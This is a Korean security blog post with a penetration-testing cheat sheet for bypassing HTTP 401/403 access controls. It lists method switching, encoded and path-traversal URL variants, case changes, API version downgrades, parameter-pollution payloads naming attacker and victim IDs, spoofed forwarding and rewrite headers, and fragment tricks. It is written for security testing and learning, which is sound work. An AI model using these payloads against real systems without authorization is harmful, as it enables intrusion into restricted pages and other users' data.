401&403(Access Control) Bypass

2025. 5. 7. 10:43·Web/Web Hacking Techniques
목차
  1. HTTP 상태코드 401&403
  2. 401 Unauthorize
  3. 403 Forbidden
  4. Bypass 401&403
  5. X-Rewirte-URL 헤더를 통한 경로 재지정
  6. Reference

 

HTTP 상태코드 401&403

특정 페이지들을 살펴보다 보면, HTTP 상태코드로 401 또는 403으로 반환되는 경우가 종종 있다. 이 두 종류의 코드는 무엇일까?

401 Unauthorize

HTTP 표준에서 Unatuhorized(미승인)으로 명시하고 있지만 해당 응답의 경우 비 인증을 의미할 수 있다. 즉 클라이언트 측에서 요청을 보내게 되면, 서버로 부터의 응답을 받기 위해 인증이 이루어져야 한다는 것이다.

403 Forbidden

흔히 볼 수 있는 응답코드로 권한과 관련되어있다. 해당 요청 클라이언트가 요청한 콘텐츠에 접근할 권한을 가지고 있지 않음을 나타낸다. 서버측에서 해당 클라이언트의 접근을 거부한다는 것이다.

Bypass 401&403

HTTP 상태코드인 401과 403은 웹 사이트 정찰 과정에서 정말 많이 만나게된다.

이러한 상태코드를 우회할 수 있는 방법은 여러가지가 존재하며, 해당 상태 코드를 만나게 되었을 때

한번쯤 시도해볼만 하다.

  1. HTTP Method 변경 : (GET, POST, PUT, DELETE) 등과 같은 Method를 사용하여 접근을 시도해볼 수 있다.
  2. URL 인코딩 변경 : 요청 URL을 인코등 혹인 더블 인코딩 또는 유니코드 인코딩을 통해 우회 시도를 해볼 수 있다.
  3. Path Traversal : ‘./’ 과 같은 경로조작을 통해 우회 시도를 해볼 수 있다.
  4. 대소문자 변경 : 대소문자를 구별하지 않을 수 있으니, 대소문자 변경을 통해 우회 시도를 해볼 수 있다.
  5. HTTP Header 조작 : x-Forwarded, referer 와 같은 헤더를 통해 서버를 속여 우회 시도를 해볼 수 있다.
  6. URL Fragment 삽입 : URL 끝단에 Fragment를 삽입함으로써 우회를 시도해볼 수 있다.

1. HTTP Method 변경

HTTP 요청 Requests에는 여러 종류의 Method가 존재한다. 이를 다양하게 변경하여 요청하는것도 좋은 테스팅 방법일 수 있다.

POST 요청에서 사용되는 방식을 GET 형식으로 파라미터를 통해 요청이 가능하다.

methods:
    - GET
    - HEAD
    - POST
    - PUT
    - DELETE
    - CONNECT
    - OPTIONS
    - TRACE
    - PATCH
GET /admindirectory/ HTTP/1.1
POST /admindirectory/ HTTP/1.1
PUT /admindirectory/ HTTP/1.1
HEAD /admindirectory/ HTTP/1.1
''' 등등

추가적으로 User-Agent를 조작하여서도 우회가 가능하다.

 

웹 브라우저에 access 할 때 사용하는 브라우저/OS 등에 따라 제공하는 서비스가 다를 수 있다.

2. URL 인코딩 변경

.. 와같은 문자들을 여러 종류의 인코딩 방법으로 우회가 가능하다.

Original: //admin
URL: /%2fadmin
DURL: /%252fadmin
Unicode: /%ef%bc%8fadmin

3. Path Traversal

Path Traversal 취약점을 응용하여 401 또는 403 상태코드를 우회할 수 있다.

target.com/secret
target.com/%2e/secret
/secret%20
/secret%09
/secret%00
/%90/secret
/%2e/secret
/secret/
/secret/.
//secret//
/./secret
/;/secret
/.;secret
//;//secret
/secret..;/
/secret/..;/
/secret.json
/secret.css
/secret.html
/secret?
/secret??
/secret???
/secret?testparam
/secret#
/secret#test
/...
/..%00
/..%01
/..%0a
/..%0d
/..%09
/~root
/~admin
/%20/
/%2e%2e/
/%252e%252e/
/%c0%af/
/%e0%80%af
site.com/secret/
site.com/secret/.
site.com//secret//
site.com/./secret/..
site.com/;/secret
site.com/.;/secret
site.com//;//secret
site.com/secret.json –> HTTP 200 OK (ruby)

4. 대소문자 변경

Original: /admin
Upper: /ADMIN

기타 API 사용할 경우 버전변경을 통해서도 가능하다

/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:{“id”:111}} --> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

#프로토콜 변경을 통해서도 가능하다.

protocol_versions:
    - "0.9"
    - "1.0"
    - "1.1"
    - "2"
<https://trust.com> -> 200 403 or 401
<http://trust.com> -> 200 ok

5. HTTP Header 조작

일부 HTTP Header 은 클라이언트의 IP 혹은 HOST 정보를 속일 수 있다.

예를 들어 IP 주소 필터링에만 의존하는 웹 서버가 존재한다면 X-Forwarded-For 헤더를 사용해서

손쉽게 우회를 시도해볼 수 있다.

사용가능 HTTP 요청 헤더
    - X-Forwarded-For
    - X-Forward-For
    - X-Forwarded-Host
    - X-Forwarded-Proto
    - Forwarded
    - Via
    - X-Real-IP
    - X-Remote-IP
    - X-Remote-Addr
    - X-Trusted-IP
    - X-Requested-By
    - X-Requested-For
    - X-Forwarded-Server
		- Host: localhost
		- X-ProxyUser-I
		- Redirect: <http://localhost>
    - Referer: <http://localhost>
    - X-Original-URL
''' 등등

6. URL Fragment 삽입

<https://trust.com> -> 200 403 or 401
<http://trust.com#fragment> -> 200 ok

X-Rewirte-URL 헤더를 통한 경로 재지정

X-Rewrite-URL 헤더를 허용하는 서버가 존재한다면, 접근 제한이 걸린 페이지를 백엔드에서 url을 설정 하여 접근할 수 있다.

GET /admin/ HTTP/1.1 -> 403

GET / HTTP/1.1 -> 200 ok
X-Rewrite-URL: /admin/

 

 

 

 


Reference

https://www.hahwul.com/2021/10/08/bypass-403/
https://www.codelivly.com/401-403-bypass-cheatsheet/
Ultimate 401 및 403 바이패스 방법 (vidocsecurity.com)
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses
저작자표시 (새창열림)

'Web > Web Hacking Techniques' 카테고리의 다른 글

Servcer Side Requests Forgery (SSRF)  (1) 2025.05.07
Encoding Obfuscation  (0) 2025.05.07
ZIP Slip Vulnerability  (0) 2025.05.06
Deserialize_Vulnability for Python_Pickle  (0) 2025.05.06
Cross-Site Script (XSS)  (0) 2025.05.02
  1. HTTP 상태코드 401&403
  2. 401 Unauthorize
  3. 403 Forbidden
  4. Bypass 401&403
  5. X-Rewirte-URL 헤더를 통한 경로 재지정
  6. Reference
'Web/Web Hacking Techniques' 카테고리의 다른 글
  • Servcer Side Requests Forgery (SSRF)
  • Encoding Obfuscation
  • ZIP Slip Vulnerability
  • Deserialize_Vulnability for Python_Pickle
g2h
g2h
  • g2h
    감자 텃밭
    g2h
  • 전체
    오늘
    어제
    • 분류 전체보기 (144)
      • Network (4)
      • Web (31)
        • Web Hacking Techniques (31)
      • System (32)
        • Tips (11)
        • System Hacking Techniques (21)
      • Pentest (14)
        • Pentest (14)
      • WriteUP (47)
        • sec (0)
      • 도구|Tools (12)
      • Security Issue (3)
      • 1-Day-Analysis (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    XSS
    스캐닝
    Metasploit
    cross side script
    스캔
    모의해킹
    nosql injection
    취약점 스캔
    내부침투
    침투테스트
    Hacking
    Los
    해킹도구
    vulnability
    web hacking
    해킹툴
    Reflected XSS
    load of sqlinjection
    CTF
    skt 해킹
    해킹
    SQL Injection
    Kioptrix
    NOSQL
    권한상승
    dom based xss
    취약점
    sql
    DoM
    Encoding
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
g2h
401&403(Access Control) Bypass

개인정보

  • 티스토리 홈
  • 포럼
  • 로그인
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.